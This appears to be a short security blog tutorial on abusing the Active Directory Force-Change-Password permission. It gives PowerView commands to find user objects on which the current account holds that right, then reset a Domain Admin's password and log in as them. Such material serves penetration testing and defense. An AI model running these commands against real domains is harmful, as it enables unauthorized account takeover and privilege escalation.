Home Force-Change-Password On User
Post
Cancel

Force-Change-Password On User

Force-Change-Password

Force-Change-Password : Is a permission that allows you to change user’s password. If you have Force-Change-Password on user object, you can reset user’s password without knowing the current password of the user, thereby escalating your privileges.

Enumeration

PowerView

Force-Change-Password Enumeration

Get your current user’s sid by executing whoami /user, import powerview, then execute the below command to get the list of objects on which you have Force-Change-Password.

Command

1
2
3

get-objectacl -resolveguids | ? {($_.securityidentifier -eq "[your_current_user_sid]") -and ($_.objectacetype -eq "User-Force-Change-Password")}

below image shows the current user usman has Force-Change-Password. right on user object ali

userace

User Enumeration

Execute the below command to get more information about the target user.

Command

1
2
3

get-netuser [target_user]

below image shows the target user ali is a member of Domain Admins

userace

BloodHound

You can also get thesame result using bloodhound.

below image shows the current user usman has GenericAll right on user object ali who is a member of Domain Admins

userace

Exploitation

PowerView

Reset Password

Since you have Force-Change-Password right on user ali, you can reset his password and login to his account by executing the below command

Command

1
2
3
4

$pass = ConvertTo-SecureString '[Your New Password Here]' -AsPlainText -Force
set-domainuserpassword -identity [target_user] -accountpassword $pass 
runas /user:[domain\user] cmd.exe

userace

References

This post is licensed under CC BY 4.0 by the author.